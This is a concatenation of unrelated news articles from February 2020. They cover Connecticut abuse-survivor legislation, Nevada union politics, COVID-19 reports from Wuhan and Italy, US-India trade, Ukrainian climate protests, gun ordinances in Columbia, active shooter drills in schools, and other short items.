imagine the world as we do." Dr Solvi cautions: "This doesn't mean bees experience the world the same way we do, but it does show there is more going on in their heads than we have ever given them credit for." HARTFORD As a child, Lori Temple was sexually abused by a priest that lived next door. But she never spoke about the two years she endured that abuse, which scared and shaped the rest of her life, until a list of priests credibly accused of sexual assault was released by the Archdiocese of Hartford last year. She finally contacted the Archdiocese, hoping for empathy and action. Instead of receiving compassion, I got road blocks and cold and callous treatment from them, she said. There is nothing Temple can do to hold the church accountable for shielding the perpetrator who abused her. She is beyond the civil statute of limitations in Connecticut, which is currently the 51st birthday of victims of childhood sexual abuse. Temple was among a contingent of survivors of childhood sexual abuse who pleaded Thursday for legislators to consider a bill that would eliminate the civil statute of limitations for sexual assault, a move that would allow victims more time to hold institutions embroiled in sexual abuse scandals like the Catholic church, Boys & Girls Clubs of America and the Boy Scouts of America accountable for the abuse they endured. Friday is the deadline for the Judiciary Committee to raise bills, and the proposal to eliminate the civil statute of limitations for childhood sexual abuse is not on the list despite a promise by Democratic leadership it would be a priority this year. With respect to this important and sensitive issue, it should be noted that the Judiciary Committee led passage of significant changes to both the civil and criminal statutes of limitations just last session, said committee co-chairman Steven Stafstrom, D-Bridgeport. Elimination of the statute of limitations altogether and retroactive application were two of the proposals that received public hearings and were controversial. Stafstrom blamed the short legislative session and a calendar that only allows the committee to hold 8 to 10 public hearings. Unfortunately, that means not every worthwhile or important topic can get a full airing, he said. In fact, the Committee is only raising around 30 percent of the ideas or concepts that were proposed to us. With that said, we hope to discuss further changes to the statute of limitations in a future legislative session. Last year, the General Assembly passed a bill that eliminated the criminal statute of limitations for all children, and added three years to the civil statute of limitations by extending the deadline to a victims 51st birthday. That bill also extended the statute of limitations for forced rape or rape by drugs from five years to 20 years, and extended the statute of limitations for things like unwanted touching from one year to 10 years. Survivors already beyond the existing statute of limitations and state Sen. Mae Flexer, D-Killingly, who chaired a task force established by the Times Up act passed last year to study the issue, said they were heartbroken to learn the legislatures powerful Judiciary Committee would not consider the proposal this year. These survivors and many like them have been speaking to my colleagues in the House and the Senate about this issue for years, Flexer said. It is devastating that they have chosen to not at least give this bill a public hearing and let these survivors who have so bravely told their stories, have their public hearing. Unfortunately theyve decided this isnt worth their time this year. Lucy Nolan, director of policy and public relations for the Connecticut Alliance to End Sexual Violence, said the average age for someone to disclose they were sexually abused as a child is 52 years old, and blasted the Judiciary Committees decision not to raise the bill. We trusted these institutions, including churches, community groups and people, and theyve let us down, Nolan said. Now its time for this institution to take care of the people who need it the most and not take care of the people who are protecting predators who continue to go out and abuse people. kkrasselt@hearstmediact.com; 203-842-2563; @kaitlynkrasselt LAS VEGAS Much like in California, Nevadas labor unions are a powerful force in Democratic politics. But warning signs have emerged here for the partys presidential front-runner, Bernie Sanders, over labors coolness to the signature issue of his candidacy Medicare for All as Democrats vote in caucuses Saturday. Some of Sanders supporters have reacted harshly to the decision by the states most powerful union, the 60,000-member Culinary Workers, not to endorse the Vermont senator because of his plan to do away with private insurance policies such as the one it achieved through years of collective bargaining. The feud turned so nasty that some union leaders reported receiving death threats. The struggle in Nevada has ramifications in next-door California, where many unions have yet to line up behind a candidate with the March 3 primary barely a week away. Labors reluctance about pursuing a health care system administered by the federal government is not confined to Nevada, and theres little agreement among unions about which of the several Democratic candidates has the best chance of beating President Trump. The lack of endorsements is a function of where we are in the race now, said Steve Smith, a spokesman for the 2.1 million-member California Labor Federation, which has yet to pick a favorite. Unions at the national level havent come to a consensus yet. Not all California unions are waiting. The national arm of the 100,000-member California Nurses Association endorsed Sanders. The 30,000-member California Professional Firefighters backed former Vice President Joe Biden. The 30,000-member UNITE Here Local 11, which represents hotel and restaurant workers throughout Southern California, endorsed both Massachusetts Sen. Elizabeth Warren and Sanders. Megaphone.fmMegaphone.fm Likewise, when it comes to health care, labor isnt on the same page. The nurses union has long advocated for Medicare for All. The California Labor Federation has supported Medicare for All legislation in the past, but now is focused on lowering health care costs in other ways. Generally speaking, Smith said, we would like to see universal coverage. There are a variety of ways to get there. None of it works unless you can bring down costs. Smith acknowledged that there is a difference of opinion among unions on health coverage. You talk to different unions and you get different opinions, he said. But I havent seen a union come out as strongly against Medicare for All as the Culinary. The Nevada dispute stems from the Culinary Workers attachment to their private insurance, which covers not just the unions housekeepers, restaurant employees and others who work on the Las Vegas Strip, but 135,000 members of their families. The unions membership is 55% female and 54% Latino. Weve worked so hard to get our benefit, said Alicia Portillo, a cocktail waitress who has belonged to the union since 2006 and says she hasnt decided whom shell vote for in Nevadas caucuses. We dont know whats going to be in Medicare for All. Vince Saavedra, a union iron worker in Las Vegas who supports Biden, said he didnt want to be forced to give up his private insurance because our collectively bargained benefits are better than most. The Culinary Workers didnt endorse any candidate in the caucuses. But Sanders supporters were angered when the union distributed a voters guide to its members that said Sanders plan would end Culinary health care while most of the other candidates would protect Culinary health care. The reaction from Sanders supporters was swift and vicious, said Geoconda Arguello-Kline, head of the Culinary Workers. She and union spokeswoman Bethany Khan were referred to online as bitches, whore, f scab and evil, entitled ass, according to the Nevada Independent news site. Both women confirmed the report. Their home addresses were published online. Arguello-Kline said she received death threats on Twitter and has asked for police protection. Khan said between them, they have received hundreds of vile mentions on Twitter and emails and hundreds more nasty phone calls. Arguello-Kline is Latina and Khan is the daughter of Guyanese immigrants, and Arguello-Kline said she believes they were harassed because they are women of color. She said the unions second-in-command, who is white, has not received similar attacks. Im glad nothing happened to him, she said in an interview. But I see that the treatment has been completely different. Arguello-Kline is no stranger to conflict. She said she has been arrested many times during union-related demonstrations over 30 years, and my family has never been concerned ... for my safety until now. The attacks spilled over into Wednesdays Democratic debate in Las Vegas. We can actually deliver health care without taking it away from anyone, said former South Bend, Ind., Mayor Pete Buttigieg, who supports letting people keep private insurance but buy into Medicare if they wish. And we can build a movement without having legions of our supporters online and in person attacking Democratic figures and union leaders alike. Sanders replied that his campaign has over 10.6 million people on Twitter, and 99.9% of them are decent human beings, are working people, are people who believe in justice, compassion and love. And if there are a few people who make ugly remarks, who attack trade union leaders, I disown those people. They are not part of our movement. He added that several of the African American women who work on his campaign have received vicious, racist, sexist attacks that are coming their way as well. Khan told The Chronicle that Sanders tried to wedge women of color against each other. I dont think he quite sees how women of color in our organization have been attacked. Politically, however, the unions lack of an endorsement may ultimately benefit Sanders, said Robert Lang, an urban affairs professor at the University of Nevada-Las Vegas. Without direction, (its members) will splinter, Lang said. They wont vote in the numbers that they would have for Bernie, but it is more likely now that Biden will share their vote with (Minnesota Sen. Amy) Klobuchar and Buttigieg. It helps Bernie in a way, because it doesnt concentrate their vote with one other candidate. Joe Garofoli is The San Francisco Chronicles senior political writer. Email: jgarofoli@sfchronicle.com Twitter: @joegarofoli Source: Xinhua| 2020-02-21 00:10:25|Editor: huaxia Video Player Close A press conference is held by the State Council Information Office in Wuhan, central China's Hubei Province, Feb. 20, 2020. Ding Xiangyang (2nd L), deputy secretary-general of the State Council, Lian Weiliang (2nd R), deputy director of the National Development and Reform Commission of China, and Yu Yanhong (1st R), an official with the National Health Commission, attended the press conference. (Xinhua/Xiao Yijiu) Progress has been made in the fight against the novel coronavirus in Wuhan and Hubei Province at large, while some challenges still remain, according to officials. WUHAN, Feb. 20 (Xinhua) -- China has achieved some positive results in the fight against the novel coronavirus in Wuhan and Hubei Province at large, although there are still some challenges, officials said Thursday. Daily new confirmed and suspected cases have both dropped in Wuhan, the epicenter of the coronavirus outbreak, Ding Xiangyang, deputy secretary-general of the State Council, or the cabinet, said at a press conference Thursday in Wuhan. "Our medical capabilities have also improved, and the number of discharged patients is rising steadily," Ding said. Meanwhile, other cities in Hubei have also seen the number of confirmed and suspected infections decrease, boosting confidence for the prevention and control efforts, he said. However, it is also necessary to understand that despite the positive results, challenges remain, including the large number of infections in Wuhan. Altogether 29 foreign nationals in China had been infected with the novel coronavirus as of 6 p.m. Wednesday, Ding said. Among the total, 18 patients have recovered and been discharged from hospitals. Nine are in quarantine and receiving treatment at hospitals, and two died of the virus, according to Ding. Also at the press conference were Lian Weiliang, deputy head of the National Development and Reform Commission, and Yu Yanhong, an official with the National Health Commission. The officials paid a silent tribute to medics and patients who lost their lives during the fight against the novel coronavirus outbreak. "The severity of the epidemic and the vast transmission of the virus have posed unprecedented challenges and generated huge pressure on the entire society," Ding said. Workers produce medical N95 masks at a mask production company in southwest China's Chongqing, Feb. 17, 2020. Medical N95 masks will be supplied to the novel coronavirus epidemic prevention frontline for medical workers. (Xinhua/Wang Quanchao) SUPPLY GUARANTEE The key supplies for medical personnel on the front line to fight the novel coronavirus epidemic are guaranteed, and the supplies of living materials are basically abundant, Lian said. On Feb. 19, a total of 336,000 N95 masks and 133,000 protective suits were collected across the country and supplied to Hubei, he said. With the growing number of medical workers sent to Hubei to aid the fight against the virus, as well as the confirmed and suspected patients admitted to hospital for treatment, there will be a huge demand for medical supplies. There are still some structural problems in the varieties of medical material provisions, according to Lian. Meanwhile, to increase the number of hospital beds to take in more patients, Wuhan has built 11 makeshift hospitals and set up over 400 medical quarantine sites, Ding said. The designated hospitals, makeshift hospitals and quarantine sites in Wuhan are expected to offer about 70,000 hospital beds, Lian added. Since the coronavirus outbreak, the central government has subsidized over 700 million yuan (nearly 100 million U.S. dollars) to improve the medical treatment capability of the province. In addition, about 2,000 tonnes of pork have been transported to Wuhan from other regions of the country to increase local supplies. More tonnes of staple foods, meats, vegetables and other food will be provided to Hubei. Medical staff work at a traditional Chinese medicine pharmacy in Weinan City, northwest China's Shaanxi Province, Feb. 20, 2020. (Xinhua/Tao Ming) COMBINATION OF CHINESE, WESTERN MEDICINE EFFECTIVE The combination of traditional Chinese and Western medicine in treating COVID-19 is proved effective, Yu said. The method can rapidly improve the condition of patients with mild symptoms such as fever, cough, sore throat, weakness and lack of appetite, and cut the duration of hospital stays, said Yu, who is also deputy head of the National Administration of Traditional Chinese Medicine. Experts also find that the combination can help prevent mild symptoms from developing into severe and critical conditions, thus reducing the death rate of the disease, she noted. A study on 102 mild cases showed that the clinical symptoms of those receiving the combined treatment disappeared two days sooner than the control group, and the recovery rate improved 33 percent, Yu explained. She also noted that traditional Chinese medicine can effectively improve the number of lymphocytes, an indicator of patient recovery. In another study on cases of severe conditions, the patients receiving the combined treatment stayed an average of over two days shorter in hospital than the control group, with multiple indicators improving. "In the future, we will further improve the plan of traditional and western medicine treatment to give it a greater role in saving the patients," Yu said. Public safety and health must be the priority in the fight against the coronavirus, Ding said. "We must clench our teeth and fight the coronavirus with greater confidence, stronger determination and more resolute measures," he said. "We will not stop until we win the battle against the virus." A nurse wearing a sanitary mask watches from a window of the hospital of Codogno, near Lodi in Northern Italy on Feb. 21, 2020. (Luca Bruno/AP Photo) 16 New Reported Coronavirus Cases Spark Fear in Italy Italian authorities reported 16 cases of the new coronavirus on Friday, as the country grappled with the surge after having just three total confirmed one day earlier. Six patients were in the northern town of Codogno, prompting bars, schools, and offices to shut down for up to five days under an order from the mayor to try to stop the spread of the new virus, which causes the COVID-19 disease. Three of the six patients, including a 38-year-old who is in intensive care, are showing symptoms, while three others were re-tested to confirm the results, reported The Local. Discovery of the cases has created a situation of alarm throughout the municipality, Codogno Mayor Francesco Passerini said. The transmission of the new cases isnt confirmed but authorities said the man in intensive care shared a meal with another man who visited China last month. The pregnant wife of the man in the hospital and a friend of his are two of the other confirmed cases. The man who visited China later tested negative for the new virus. Italian media reported that some 250 people are being tested in the area. Authorities later in the day said that there were eight additional cases, including five doctors, in the Lombardy region, which includes Codogno and Milan and borders Switzerland. The other two were in Veneto, a northeastern region that includes Venice and shares a small border with Austria. We are working to identify all the people that entered in direct contact with them, Lombardy Councillor Giulio Gallera said at a press conference, referring to the confirmed cases. He said residents in Codogno, Castiglione Dadda, and Casalpusterlengo should stay at home. Two women walk by a mural painting reading Theres an epidemic of ignorance in the air, we must protect ourselves! referring to the coronavirus outbreak by the street artist Laika near the Chinese district in Rome, Italy, on Feb. 4, 2020. (Filippo Monteforte/AFP via Getty Images) The decision to shut down Codogno was deemed an overreaction by some, with a resident saying, Wearing masks is the right thing to do, but I think there is too much panic. Closing the streets etc. Now the people who work are even more in trouble, the local said. Another resident said, There is a lot of alarm, and this worries us. I am in fact very worried; lets see the evolution of the situation. Prior to Friday, just three people had been confirmed in Italy to have the virus. Two Chinese tourists who came from Wuhan tested positive in Rome in late January, while an Italian who returned from the Chinese city with a special flight repatriating some 56 nationals was hospitalized a week later. A tourist wearing a mask takes a selfie in front of Romes ancient Colosseum on Feb. 1, 2020. (Alessandra Tarantino/AP Photo) The virus emerged in Wuhan in December 2019 and has infected scores in China, killing thousands. The disease it causes is similar to pneumonia and can manifest with just mild symptoms in some patients but can range to intense severity, with other patients requiring assistance breathing. Symptoms include fever, cough, and headache. Experts say the best way to avoid the illness, besides avoiding to travel to stricken areas, is to frequently wash hands, stay away from sick people, and not touch ones eyes, nose, or mouth with unwashed hands. If people have symptoms, they should call their healthcare provider and self-isolate at home. Anyone caring for them should be careful and wear a mask, among other protection. Reuters contributed to this report. Days ahead of his India visit, US President on Thursday said the two countries could make a "tremendous" trade deal. "We're going to India, and we may make a tremendous deal there," Trump said in his commencement address at the Hope for Prisoners Graduation Ceremony in Las Vegas. Trump, accompanied by First Lady Melania Trump, is scheduled to travel to Ahmedabad, Agra and New Delhi on February 24 and 25. Ahead of the visit, there have been talks about India and the United States agreeing on a trade package as a precursor to a major trade deal. During his commencement address, Trump indicated that the talks on this might slowdown if he did not get a good deal. "Maybe we'll slow down. We'll do it after the election. I think that could happen too. So, we'll see what happens," he said. "But we're only making deals if they're good deals because we're putting America first. Whether people like it or not, we're putting America first," Trump said. Bilateral India-US trade in goods and services is about three per cent of the US' world trade. In a recent report, the Congressional Research Service (CRS) said the trading relationship is more consequential for India -- in 2018 the United States was its second largest goods export market (16.0 per cent share) after the European Union (EU, 17.8 per cent), and third largest goods import supplier (6.3 per cent) after China (14.6 per cent) and the EU 28 (10.2 per cent). "The Trump Administration takes issue with the US trade deficit with India, and has criticised India for a range of 'unfair' trading practices," the CRS said. "Indian Prime Minister Modi's first term fell short of many observers' expectations, as India did not move forward with anticipated market opening reforms, and instead increased tariffs and trade restrictions," it said. "Modi's strong electoral mandate may embolden the Indian government to press ahead with its reform agenda with greater vigour. Slowing economic growth in India raises concerns about its business environment," CRS said. As per a fact sheet issued by the Council on Foreign Relations (CFR), trade in goods and services between the two countries from 1999 to 2018 surged from $16 billion to USD 142 billion. India is now the United States' eighth-largest trading partner in goods and services and is among the world's largest economies. India's trade with the United States now resembles, in terms of volume, the US' trade with South Korea ($167 billion in 2018) or France ($129 billion), said Alyssa Ayres from CFR. "The United States for two years now has set out in stone pretty clearly the things that they wanted to see to try to get an agreement, and it's basically then on India's doorstep on whether they want to take those steps," Rick Rossow, Wadhwani Chair in US-India Policy Studies at the Center for Strategic and Studies think-tank told reporters during a conference call. "The list of US asks has been pretty static all throughout. Not to say that any of these things are easy for India to do, but the United States to my knowledge didn't change the goalposts just because we now consider India to be a middle-income country. The things that we wanted to see happen to get this trade agreement have been pretty static all throughout, no matter how difficult they are," he said in response to a question. Local activists with global support have petitioned the government ministry in Kyiv to go fully carbon-neutral by 2050. Climate activists in Ukraine with the Energy Transition Coalition have demonstrated at the Ministry of the Environment and Energy in Kyiv, demanding a switch to 100 percent renewable energy sources by 2050. The protest action on Friday was backed by some 14,000 Ukrainians who had signed a petition to shut down existing coal-fired and nuclear power plants and halt the construction of new ones by 2035. Extinction Rebellion, Fridays for Future, and other international movements are supporting efforts by local groups to speak out against the pace of the Ukrainian governments transition to a low-carbon economy. Activists say the governments newly proposed climate policy should invest even more in energy efficiency, green public transport and electricity grid improvements. The Ukraine Green Deal, which was published last month, aims to cut power demand by 50 percent and reduce Ukraines reliance on imported coal, natural gas and nuclear fuel. Much of the funding would be through an updated carbon tax. Svitlana Romanko, managing director of 350.org in Eastern Europe, Caucasus and Central Asia, said, Our priority [is] to mobilise and campaign towards keeping fossil fuels in the ground, cutting finance flows to fossil fuels and support[ing] the demands of national organisations for a more just, prosperous and equitable future. In addition to her organisation, the other members of the nongovernmental Energy Transition Coalition are Ecodia, Ecoltava, Ecoclub, Khmelnytskyi Energy Cluster and the All-Ukrainian Agency for Investment and Sustainable Development. Significantly cheaper Romanko told Al Jazeera that a key component of the shift is the adoption of socioeconomic support programmes for coal regions. The Ukrainian government is facing public pressure to take care of front-line communities that could suffer in an economic transformation, and to adopt more ambitious energy targets than the 70-percent renewable figure set by the ministry. Renewable energy becomes significantly cheaper as a technology every year and could provide 91 percent of the Ukrainian total energy balance 30 years from now by using existing capabilities, she added, citing academic research that explores a range of energy scenarios. Experts from the Institute of Economics and Forecasting at the National Academy of Sciences of Ukraine say that Ukraine could generate up to 93 percent of its electricity from clean sources. As of 2018, just over one-quarter of Ukraines power mix was from nuclear sources, with about two-fifths from coal. But with the 1986 Chernobyl disaster still fresh in peoples minds, nuclear energy is a particularly controversial electricity source. Romanko said that coal owners and operators who dominate the energy supply chain are loath to refuse investments into fossil fuels from abroad. At the open meeting with Energy Minister Oleksiy Orzhel to discuss the Ukrainian governments new Green Deal, some activists allegedly were not allowed to voice their opposition to new fossil-fuel projects [350.org] During the recent public round-table event to address the government climate plan, activists suggested that the government was complicit in shutting dissenters out of the debate. Ministry representatives did not approve the registration to this round table to a representative of Merefa, said Julia Pashkovska, a local campaigner for 350.org a movement dedicated to fighting the climate crisis. She was referring to the eastern city with the largest Ukrainian natural gas field, where shale gas will be extracted by hydraulic fracturing, presenting a huge risk of loss of drinking water. Strategic impact Minister of Energy Oleksiy Orzhel responded by saying at the meeting that recent changes to energy legislation would let the companies extract fossil fuels with no approval from the local community. Orzhel did commit, however, to follow up on land approval and strategic impact assessment before mining. With Ukraine cut off from Russian gas supplies, shuttering coal plants by 2050 may not be easy. The current plan has Ukraine reaching net-zero emissions in 2070, two decades after the European Union. As President Volodymr Zelenskys government continues discussions with clean energy providers, the European Bank for Reconstruction and Development could be key to funding projects along the EUs edges. Since gas and nuclear represent major national aversions for Kyiv, lessening coal reliance could be the toughest part of Ukraines energy calculus. The issue was kicked into the spotlight this week when Waukegan officials started making concrete plans for, well, concrete to start flowing in and around Fountain Square off Route 120 at Waukegan Road. The city is not only studying options for improving roads that surround and lead into the proposed casino site on the south side of Fountain Square but also planning on asking the Illinois Tollway to look at expanding the Route 120 interchange. I Can Only Imagine, sang MercyMe on their debut album, Almost There, which went triple platinum. Contemporary Christian music group MercyMe, together since 1994, has more than just an imagination. The group has had 13 consecutive top five singles on the Billboard Christian Songs chart, with seven of them reaching No. 1. Theyll play Oakdale Theatre Saturday, Feb. 29, with guest Jeremy Camp. In 2001, Mark Giaconia was a Green Beret patrolling the border areas between Kosovo and Serbia. His counterparts were Russian troops, many of which were airborne. Their mission was to disrupt the movements of Albanian UCPMB rebels in the area. For six months, he and his Russian allies worked side-by-side, in the forests and mountains around Kosovo. Then one day, his coworkers put on what they called a "Spetsnaz Show" and Giaconia realized who his tactical buddies really were. To be clear, the "Spetsnaz" aren't any single part of the Russian military apparatus. They are any special operations unit of the Russian military, including the Russian Navy, Airborne troops, and FSB (formerly the KGB). Most often, when westerners refer to the Spetsnaz, they're referring to the special operations section of the GRU, Russia's military intelligence service. Giaconia's experience with the Russians was his first and it was the first time American Special Forces and Russian special operators worked together. The height of their mission in Kosovo was rolling on a rebel base that had killed one of the Russians' soldiers. The team captured a young rebel while on a patrol and extracted the location of the rebels' base of operations. American and Russian Special Forces troops in Kosovo alongside Swedish Jaegers, 2001. Giaconia describes his time in Kosovo with his ODA in his book, One Green Beret: Bosnia, Kosovo, Iraq, and beyond: 15 Extraordinary years in the life - 1996-2011. He describes the joint US-Russian Special Forces outfit arriving in an area called Velja Glava, where the rebel camp was supposed to be. After dispatching the sentries, the joint team dismounted from their armored vehicles and moved through the forest to assault the camp. The Russians deftly traversed through the vegetation while Giaconia laid the forest bare with a Mk 19 grenade launcher. The Russians captured the Albanian rebels that were still able to be captured, and the UCPMB camp was taken out of action permanently. When it came to the performance of the Spetsnaz in combat, Giaconia says they were keen on tactics and had great intuition and instinct. They could shoot well, took care of their weapons and equipment, and were in great shape, and were very well-disciplined. In short, he says he had a lot of respect for these "badasses in spirit." MORE POSTS FROM WE ARE THE MIGHTY: Dont ask permission, ask forgiveness: The USMC pilot who borrowed a helo to end a sniper situation has died 10 lethal special operations units from around the world 14 Top Gun call signs ranked, worst to best We Are The Mighty (WATM) celebrates service with stories that inspire. WATM is made in Hollywood by veterans. It's military life presented like never before. Check it out at We Are the Mighty. Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Fri, February 21, 2020 18:03 690 7f440ff09e92db75a02bbad2065df96e 4 National military,military-reserve-component,komcad,Youth,recruitment,state-defense-program,defense-ministry Free The Defense Ministry has set a target to recruit a total of 25,000 young people for the military reserve component program. The reserve could be deployed to defend the country. Thats our target. However, whether we will reach the target or not depends on the budget, the ministrys defense potential director general Bondan Tiara Sofyan said on Thursday, as quoted by kompas.com. She added that the enlistment of civilians for the military reserve component program was stipulated in Law No. 23/2019 on the management of national resources for state defense. According to the law, the military reserve is to be prepared for mobilization to strengthen the Indonesian Military (TNI) in dealing with military threats. However, Bondan said civilian recruitment for the reserve program would wait for the issuance of a government regulation that is currently being deliberated at the State Secretariat. Read also: Indonesia grows muscles as arms manufacturer The regulation is in the final phase of deliberation at the State Secretariat. Once it is finished, we will disseminate [the information on recruitment] immediately, the director general said. The ministry plans to spread recruitment information on social media, targeting millennials aged 18 to 35. Bondan said her office would determine the requirements to be fulfilled by participants. Those who pass the selection phase will participate in basic military training for three months. If they pass the training, they will be inaugurated as members of the reserve component program. After that, they will be allowed to return to their original profession, she went on to say. Bondan added that the ministry would provide pocket money, personal equipment and health and life insurance for participants. (hol) It appears Columbia Mayor Steve Benjamin is prepared to put his legal muscles to work in defending a number of city gun laws that are being challenged by state Attorney General Alan Wilson. In January, Wilson sued the City of Columbia over a trio of gun-related ordinances Benjamin and Columbia City Council have passed in the last year. The attorney general filed the lawsuit in the state Supreme Court. Wilson is asking the Supreme Court to hear the matter without it going through the lower court system first. Now the City of Columbia has filed paperwork consenting to the case being tried before the Supreme Court. Benjamin, an attorney, tells Free Times that, if that court decides to hear the matter, then he will personally argue the case, along with attorney Patrick Wright. The suit in question challenges three ordinances Columbia passed in 2019: one that prohibits the possession of firearms within 1,000 feet of a school; another that allows for the seizure of guns from individuals who have an extreme risk protection order against them, commonly known as a red flag law; and a third that added so-called ghost guns to the citys nuisance laws. Gun violence is affecting every community in America, including our own, and our state leaders not only fail to act to stop it but actually want to stop us from keeping our schools gun-free, ending the production of untraceable ghost guns and passing common sense bipartisan red flag laws that keep guns out of the hands of those who will harm others or themselves," Benjamin told Free Times on Feb. 21. "These ordinances are not only constitutional but morally sound and its a shame that we have to fight our own elected officials in our courts to try and save lives. I am fully prepared to take on that battle on behalf of the people of Columbia and South Carolina. Previously Wilsons office had issued opinions on all three city ordinances, alleging they are unlawful. Wilson has repeatedly argued that state statutes dictate that, with few exceptions, state law not city or county regulations takes precedence in regard to firearm regulations in South Carolina. The Office of the Attorney General has consistently construed ... that the General Assembly intended that state law expressly occupy the entire field of South Carolina firearm regulation and preempt any local ordinance on the same subject, except where local regulations are expressly permitted by those same statutes, the lawsuit reads, in part. In addition to consenting to the Supreme Court being the venue for the gun case, the city's recent court filing also alleges that, "the Attorney General is attempting to usurp and dampen the ability of the duly elected officials of the City of Columbia and other political subdivisions of the state to pass ordinances for the safety, well-being and benefit of citizens." Benjamin has been aggressive on gun laws in Columbia. Aside from the aforementioned ordinances, in 2017 he pushed through a city ban on gun bump stocks devices that can make a semi-automatic weapon perform like an automatic weapon. And he supported Columbias adoption of ShotSpotter, technology that notifies officers of the location of gunshots in near real time. The mayor and Columbia Police Chief Skip Holbrook in September also touted more than $745,000 in federal grant funds the city is using specifically to target gun crimes and establish a crime gun intelligence unit. Were frightening students with misguided drills intended, paradoxically, to make them safe. Im talking about active shooter drills in schools. About 95 percent of schools across the country conduct such drills. But theres no proof that they do any good and mounting evidence that they are traumatizing kids. Maybe teachers, too. In Indiana, teachers were lined up in a hallway and shot in the back with rubber pellets to give them the adrenaline rush of dealing with a shooter. Whoever thought that was a good idea? Lets hope nothing so stupid is going on in the name of training in Connecticut schools. But we dont know. There are no requirements of how districts conduct active shooter drills, no uniform guidelines. The only requirement is that districts must annually submit a school security plan to the state, as stipulated in 2013 legislation which was a response to the Sandy Hook Elementary School shooting that killed six educators and 20 first graders. The intention to tighten school security is understandable, considering the Dec. 14, 2012 tragedy. But I worry that its possibly gone too far and could be hurting kids. The two largest teachers unions last week called for schools to revise or stop active shooter drills. With the group Everytown for Gun Safety Support Fund, the National Education Association and American Federation of Teachers also called for an end to drills that simulate gun violence. Everywhere I travel, I hear from parents and educators about active shooter drills terrifying students, leaving them unable to concentrate in the classroom and unable to sleep at night, NEA President Lily Eskelsen Garcia, said in a Feb. 13 statement. So traumatizing students as we work to keep students safe from gun violence is not the answer. Do you think communities have been overreacting? According to Everytown, only 0.2 percent of the approximately 36,000 gun deaths a year happen on school grounds yet drills to prepare students and staff to respond in the unlikely event of a shooting have become a near-universal practice in American schools today, starting in preschool and continuing through high school. If the drills could prevent school shootings, or save lives that would be worth it. But theres no evidence. What these drills can really do is potentially trigger either past trauma or trigger such a significant physiological reaction that it actually ends up scaring the individuals instead of better preparing them to respond in these kinds of situations, Melissa Reeves, former president of the National Association of School Psychologists, said in The Impact of School Safety Drills For Active Shootings report issued by the groups. I asked Connecticut Education Commissioner Miguel Cardona for his position on active shooter drills in light of the report. Anything as serious as this deserves to be examined regularly, he said in a statement. Sensible preparation for natural disasters or dangerous unwanted people in schools should continue. Drills or practices that create trauma for students and staff like weve seen in some of the national reports of strangers being asked to come into the building with masks unannounced to simulate an active shooting situation do nothing more than create fear and worsen student and teacher attendance. In many cases, this may heighten anxiety and negatively impact learning bandwidth and engagement in students who have previously been exposed to violence. The best approach is a sensible one that promotes safety without creating unnecessary fear. At a minimum, I believe, drills should be announced so students are not thinking the worst is actually happening. You would think that such issues should be under the purview of the state education department, but they come under the state Division of Emergency Management and Homeland Security. Districts are required to submit School Safety and Security Plans to the department and review or update them annually in order to be eligible for school security grants. The department collects, but does not approve, the plans. Districts are free to conduct active shooter drills or the less traumatizing lockdown drills as they see fit. Security businesses that conduct training have sprouted, a $2.7 billion industry. But no training could cover every situation. Abbey Clements was a second-grade teacher at Sandy Hook Elementary School when a former student shot his way into the school seven years ago. In a horrific, real-life situation, you have no idea where the shooter is or if there are multiple shooters, if you should run or if you should stay, Abbey told me in a phone conversation this week. You couldnt possibly practice for the infinite number of things that could happen with a weapon. Abbey now teaches fourth grade at a different school in Newtown and is active with the anti-gun-violence group Moms Demand Action. Newtown schools practice age-appropriate lockdowns, which could be a model for the state and country, she said. If its good enough for Newtown, she said, why not everywhere else? This is not a situation, unlike so many others involving gun safety, where we have to wait for legislators to take action. You can do something. Go to your local Board of Education and ask how lockdowns or active shooter drills are handled in the schools. Ask if they follow the six important stipulations offered by Everytown and the teachers unions, which they say experts have found can help protect students well-being. 1. Drills should not include simulations that mimic an actual incident; 2. Parents should have advance notice of drills; 3. Drills should be announced to students and educators prior to the start; 4. Schools should create age and developmentally appropriate drill content with the involvement of school personnel, including school-based mental health professionals; 5. Schools should couple drills with trauma-informed approaches to address students well-being; and 6. Track data about the efficacy and effects of drills. Active shooter drills put the onus on kids to be safe, when adults should be the ones responsible for making schools safer by dealing with the root causes of violence. Jacqueline Smiths column appears Fridays in Hearst Connecticut Media Group daily newspapers. It is solely her opinion. She is also the editorial page editor of The News-Times in Danbury and The Norwalk Hour. Tell her what you think about this issue by emailing jsmith@hearstmediact.com. By Trend Iran has exported 2 million medical masks to China in the wake of the Coronavirus outbreak, the secretary general of Iran and China Joint Chamber of Commerce Majid Reza Hariri told Trend. "A total of 2 million medical masks were send to China, and one million more is to be sent soon. This wasn't a commercial deal, but humanitarian aid," he added. "The masks and gloves were sent by people and not the government. The following individuals were Chinese residents in Iran or Iranians who have trade ties with China," he said. "The export was done at the first week of Coronavirus outbreak, now it seems that China has surpassed the crisis," he added. "In terms of trade with China, it should be noted that since our major export to China is raw materials, so far no specific incident has occurred in bilateral trade," he said. The outbreak in the Chinese city of Wuhan - which is an international transport hub - began at a fish market in late December 2019. Since then over 2,000 people have died and over 75,000 people have been confirmed as infected. Some sources claim the coronavirus outbreak started as early as November 2019. The symptoms include cough, headache, fatigue, fever, aching and difficulty breathing. It is primarily spread through airborne contact or contact with contaminated objects. Chinese health authorities say that the majority of the people who have died were either elderly or had underlying health problems. Aside from Mainland China, the cases of Coronavirus spreading have also been confirmed in Japan, Singapore, Thailand, South Korea, Hong Kong, Australia, Germany, the US, Malaysia, Taiwan, Vietnam, Macau, France, Canada, the UAE, India, Italy, Russia, Philippines, the UK, Nepal, Cambodia, Belgium, Spain, Finland, Sweden and Sri Lanka. --- Follow us on Twitter @AzerNewsAz Jason Wahler revealed he recently suffered a 'slip' in his sobriety. The 33-year-old star of The Hills opened up about his latest struggle on E! News' Daily Pop with Dr. Drew Pinsky for Therapy on Thursday. He admitted that the slip occurred sometime during the last five months, but he has since found his way back on the wagon. Off the wagon: Jason Wahler revealed Thursday that he's recently had a slip in his sobriety, but he's since found his way back on the wagon He indicated that he took some form of drugs in an effort to lose weight while struggling with body image issues. He said: 'Today, I'm doing phenomenal. But in an effort of honesty and transparency, since [a previous appearance], I had another slip. 'But what keeps me going is the honesty, the transparency and being vulnerable. Expressing vulnerability creates humility to let people know they're not alone when this stuff does happen.' Dr. Drew chimed in: 'Jason is an inspiration, Jason's a miracle, different dude than when I first encountered him. I look at the slips as just learning opportunities for you.' Therapy Thursday: The 33-year-old opened up about his journey on E! News' Daily Pop with Dr. Drew Pinsky for Therapy 